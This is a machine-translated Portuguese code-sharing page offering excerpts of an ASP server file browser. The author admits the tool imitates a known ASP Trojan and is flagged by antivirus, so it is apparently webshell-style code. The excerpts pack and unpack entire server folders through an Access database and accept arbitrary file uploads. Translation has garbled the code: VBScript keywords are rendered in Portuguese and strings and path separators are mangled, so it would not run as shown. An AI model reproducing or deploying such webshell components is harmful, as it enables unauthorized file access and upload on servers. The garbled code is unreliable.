Página Inicial>Código fonte ASP>dados do ficheiro
Recursos Indisponíveis
Este é um navegador de arquivos FSO escrito usando objetos da coleção FSO (se você insiste em dizer que é um Trojan, não tenho objeções, funcionalmente, ele imita o design do "Top Trojan of the Ocean", mas o código é completamente reescrito). . Usando componentes como Shell.Application que podem facilmente causar morte acidental por software antivírus. Existem muitas ferramentas semelhantes na Internet. O valor de uso desta ferramenta não é muito grande, mas muitos dos códigos nela contidos são considerados bem escritos.

Os principais recursos incluem:

Visualize informações do disco, navegue pelos arquivos do disco e opere de maneira semelhante ao Windows Explorer, como criar, excluir, renomear, copiar, mover e outras operações básicas de arquivo de texto.
O download de arquivos no modo de fluxo simplifica e otimiza o empacotamento/descompactação de arquivos de upload sem componentes. Uma pasta pode ser completamente empacotada/descompactada.

Trecho de código:

1. Peça de embalagem/desempacotamento de arquivo

  1. ============================ Processo de empacotamento e descompactação de arquivos ================ = ============
  2. Embalagem de arquivo
  3. Subpacote ( ByVal FPath, ByVal sDbPath)
  4. Servidor.ScriptTimeOut=900
  5.      Escurecer DbPath
  6.      Se Certo(sDbPath,4)= ".mdb"   Então
  7. CaminhoDb=sDbCaminho
  8.      Outro
  9. DbPath=sDbPath ".mdb"
  10.      Fim   Se
  12.      Se oFso.FolderExists(DbPath) Então
  13. EchoBack "Não é possível criar arquivo de banco de dados &Replace(DbPath, ""," \")
  14.          Saída   Sub
  15.      Fim   Se
  16.      Se oFso.FileExists(DbPath) Então
  17. oFso.DeleteFile DbPath
  18.      Fim   Se
  20.      Se IsFolder(FPath) então
  21. RootPath=GetParentFolder(FPath)
  22.          If Right(RootPath,1)<> "" Then RootPath=RootPath&" "
  23.      Outro
  24. EchoBack "Por favor, insira o caminho da pasta!"
  25.          Saída   Sub
  26.      Fim   Se
  28.      Dim oCatalog,connStr,DataName
  29.      Definir conn=Server.CreateObject( "ADODB.Connection" )
  30.      Definir oStream=Server.CreateObject( "ADODB.Stream" )
  31.      Definir oCatalog=Server.CreateObject( "ADOX.Catalog" )
  32.      Definir rs=Server.CreateObject( "ADODB.RecordSet" )
  33.      Sobre   Erro   Retomar   Próximo
  34. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Fonte de dados=" & DbPath
  35. oCatalog.Create connStr
  36.      Se errar então
  37. EchoBack "Não é possível criar arquivo de banco de dados &Replace(DbPath, ""," \")
  38.          Saída   Sub
  39.      Fim   Se
  40.      Definir oCatalog = Nada
  41. conn.Open connStr
  42. conn.Execute( "Criar arquivos de tabela (ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
  43. oStream.Open
  44. oStream.Type=1
  45. rs.Abra "Arquivos" ,conn,3,3
  46. DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
  47. NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
  49. FailFileList = ""          Lista de arquivos que não foram empacotados
  50. PackFolderFPath
  51.      Se FailFilelist= ""   Então
  52. EchoClose "Empacotamento de pasta bem-sucedido!"
  53.      Outro
  54. Response.Write "<link rel= tipo de folha de estilo= text/css href= ?page=css >"
  55. Response.Write "<Script Language= JavaScript >alert( Empacotamento de pasta concluído!nA seguir está uma lista de arquivos que não foram empacotados: );</Script>"
  56. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  57.      Fim   Se
  58. oStream.Fechar
  59. rs.Fechar
  60. conexão.Fechar
  61. Fim   Sub
  62. Adicionar pasta (recursivamente)
  63. SubPacoteFolder (FolderPath)
  64.      Se   Não é IsFolder (FolderPath) então   Saída   Sub
  65.      Dim oFolder,sFile,sFolder
  66.      Definir oFolder=oFso.GetFolder(FolderPath)
  67.      Para   Cada sFile em oFolder.Files
  68.          Se InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Então
  69. PackFile sFile.Path
  70.          Fim   Se
  71.      Próximo
  72.      Definir sFile = Nada
  73.      Para   Cada sFolder em oFolder.SubFolders
  74. PackFolder sFolder.Path
  75.      Próximo
  76.      Definir sFolder = Nada
  77. Fim   Sub
  78. Adicionar arquivos
  79. SubpacoteArquivo (FilePath)
  80.      Escurecer RelPath
  81. RelPath=Substituir(FilePath,RootPath, "" )
  82.      Response.Write RelPath & "<br>"
  83.      Sobre   Erro   Retomar   Próximo
  84. Err.Limpar
  85. Err = Falso
  86. oStream.LoadFromFile FilePath
  87. rs.AdicionarNovo
  88. rs( "CaminhodoArquivo" )=RelPath
  89. rs( "DadosdoArquivo" )=oStream.Read()
  90. rs.Atualizar
  91.      Se errar então
  92.          Falha no empacotamento de um arquivo
  93. FailFilelist=FailFilelist&FilePath "|"
  94.      Fim   Se
  95. Fim   Sub
  97. ================================================= =========================
  98. Descompactando arquivo
  99. Sub Desempacotar(vFolderPath,DbPath)
  100. Servidor.ScriptTimeOut=900
  101.      Dim FilePath, FolderPath, sFolderPath
  102. FolderPath=vFolderPath
  103. FolderPath=Trim(FolderPath)
  104.      Se Mid(FolderPath,2,1)<> ":"   Então
  105. EchoBack "O formato do caminho está incorreto e o diretório não pode ser criado!"
  106.          Saída   Sub
  107.      Fim   Se
  109.      If Right(FolderPath,1)= ""   Então FolderPath=Left(FolderPath,Len(FolderPath)-1)
  110.      Dim connStr
  111.      Definir conn=Server.CreateObject( "ADODB.Connection" )
  112.      Definir oStream=Server.CreateObject( "ADODB.Stream" )
  113.      Definir rs=Server.CreateObject( "ADODB.RecordSet" )
  114. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Fonte de dados=" & DbPath
  115.      Sobre   Erro   Retomar   Próximo
  116. Err = Falso
  117. conn.Open connStr
  118.      Se errar então
  119. EchoBack "Erro ao abrir banco de dados!"
  120.          Saída   Sub
  121.      Fim   Se
  122. Err = Falso
  123. oStream.Open
  124. oStream.Type=1
  125. rs.Abra "Arquivos" , conexão,1,1
  126. FailFilelist= ""          Limpar lista de arquivos com falha
  127.      Fazer   Até rs.EOF
  128. Err.Limpar
  129. Err = Falso
  130. FilePath=FolderPath ""&rs(" FilePath")
  131. FilePath=Substituir(FilePath, "\"," ")
  132. sFolderPath=Left(FilePath,InStrRev(FilePath, "" ))
  133.          Se   Não oFso.FolderExists(sFolderPath) Então
  134. CriarPasta(sFolderPath)
  135.          Fim   Se
  136. oStream.SetEos()
  137. oStream.Write rs( "FileData" )
  138. oStream.SaveToFile FilePath,2
  140.          Se errar então          Adicionar item de arquivo com falha
  141. FailFilelist=FailFilelist&rs( "FilePath" ).Valor "|"
  142.          Fim   Se
  144. rs.MoveNext
  145.      Laço
  146. rs.Fechar
  147.      Definir rs = Nada
  148. conexão.Fechar
  149.      Definir conexão = Nada
  150.      Definir oStream = Nada
  151.      Se FailFilelist= ""   Então
  152. EchoClose "Arquivo descompactado com sucesso!"
  153.      Outro
  154. Response.Write "<link rel= tipo de folha de estilo= text/css href= ?page=css >"
  155. Response.Write "<Script Language= JavaScript >alert(Empacotamento da pasta concluído!nA seguir está uma lista de arquivos que não foram empacotados, verifique);</Script>"
  156. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  157.      Fim   Se
  158. Fim   Sub
  159. ================================================= =========================

2. Parte de upload de arquivo (arquivo único):

  1. Salve o arquivo enviadoSub
  2. Saveupload ( ByVal FolderName)
  3.      Se   Not IsFolder(FolderName) Then
  4. EchoClose "Nenhuma pasta de upload especificada!"
  5.          Saída   Sub
  6.      Fim   Se
  7.      Dim Path,IsOverWrite
  8. Path=FolderName
  9.      If Right(Path,1)<> "" Then Path=Path&" "
  10. FileName=Replace(Request( "filename" ), ""," ")
  11.      If Len(FileName)<1 Then
  12. EchoBack "Selecione o arquivo e digite o nome do arquivo!"
  13.          Saída   Sub
  14.      Fim   Se
  15. Caminho=Caminho
  16.      Se LCase(Request( "overwrite" ))= "true"   Então
  17. IsOverWrite = Verdadeiro
  18.      Caso contrário,
  19. IsOverWrite = Falso
  20.      Fim   Se
  21.      Sobre   Erro   Retomar   Próximo
  22.      Chame MyUpload(Path,IsOverWrite)
  23.      If Err Then
  24. EchoBack "Falha no upload do arquivo! (O arquivo pode já existir)"
  25.      Else
  26. EchoClose "Arquivo enviado com sucesso!n" & Replace(fileName, "", " \")
  27.      Fim   Se
  28. terminar  
  29. Código principal de upload de subarquivo
  30. Sub
  31. MyUpload (FilePath,IsOverWrite)
  32.      Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
  33. RequestSize=Request.TotalBytes
  34.      Se RequestSize<1 então   Saída   Sub
  35.      Definir oStream=Server.CreateObject( "ADODB.Stream" )
  36.      Definir tStream=Server.CreateObject( "ADODB.Stream" )
  37.      Com oStream
  38. .Type=1
  39. .Mode=3
  40. .Open
  41. .Write=Request.BinaryRead(RequestSize)
  42. .Position=0
  43. sData=.Read
  44. bCrLf=ChrB(13)&ChrB(10)
  45. iSpaceEnd=InStrB(sData,bCrLf)-1
  46. sSpace =LeftB(sData,iSpaceEnd)
  47. iInfoStart=iSpaceEnd+3
  48. iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
  49. iFileStart=iInfoEnd+5
  50. iFileEnd=InStrB(iFileStart,sData,sSpace)-3
  51. sData= ""      Limpar dados do arquivo
  52. iFileSize=iFileEnd-iFileStart+1
  53. tStream.Type=1
  54. tStream.Mode=3
  55. tStream.Open
  56. .Position=iFileStart-1
  57. .CopyTo tStream,iFileSize
  58.          Se IsOverWrite , então
  59. tStream.SaveToFile FilePath,2
  60.          Caso contrário,
  61. tStream.SaveToFile FilePath
  62.          Fim   Se
  63. tStream.Close
  64. .Close
  65.      Fim   Com
  66.      SettStream = Nada
  67.      Definir oStream = Nada
  68. Fim   Sub

 
Expandir
Informações adicionais
Aplicativos Relacionados
Recomendado para você
Informações Relacionadas Todos